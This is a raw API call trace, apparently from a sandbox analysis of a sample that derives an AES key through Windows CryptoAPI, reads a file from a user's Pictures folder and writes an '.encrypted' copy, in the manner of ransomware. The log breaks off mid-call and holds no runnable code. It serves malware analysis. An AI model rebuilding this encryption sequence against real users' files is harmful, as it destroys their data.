CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.593] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.593] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.593] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.593] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.593] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.594] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.594] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.594] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.594] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.594] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.594] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.594] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.594] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.594] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.595] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.595] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.595] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.595] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.595] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.595] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.595] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.595] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.595] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199ac0) returned 1 [0028.596] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.596] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.596] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.596] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.596] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.596] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.596] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.596] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.596] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.596] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.596] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.596] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.597] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.597] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.597] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.597] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.597] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.597] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.597] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.598] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.598] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.598] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.598] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.598] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.598] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.598] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.598] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.598] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.598] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.599] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.599] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.599] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xe8f417b040, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0028.600] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0028.600] CryptCreateHash (in: hProv=0xe8f4199ac0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.600] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.600] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.600] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.600] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.600] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.600] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.601] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.601] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.601] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b330, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.601] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.601] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.601] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.601] CryptDeriveKey (in: hProv=0xe8f4199ac0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062720) returned 1 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.601] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.601] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.601] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.601] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.602] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.602] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.602] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.602] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.602] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.602] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\wtpvk7ks")) returned 0x10 [0028.602] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\pyzHBeLCbwH1K.encrypted.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\wtpvk7ks\\pyzhbelcbwh1k.encrypted.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.610] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.611] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.611] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.611] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.612] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.612] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0028.613] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x6830, lpOverlapped=0x0) returned 1 [0028.613] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.616] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.616] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.616] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.616] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.616] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.617] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.617] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.617] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.617] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.617] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.617] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.617] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.618] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417b140, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0028.619] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0028.619] CryptGetKeyParam (in: 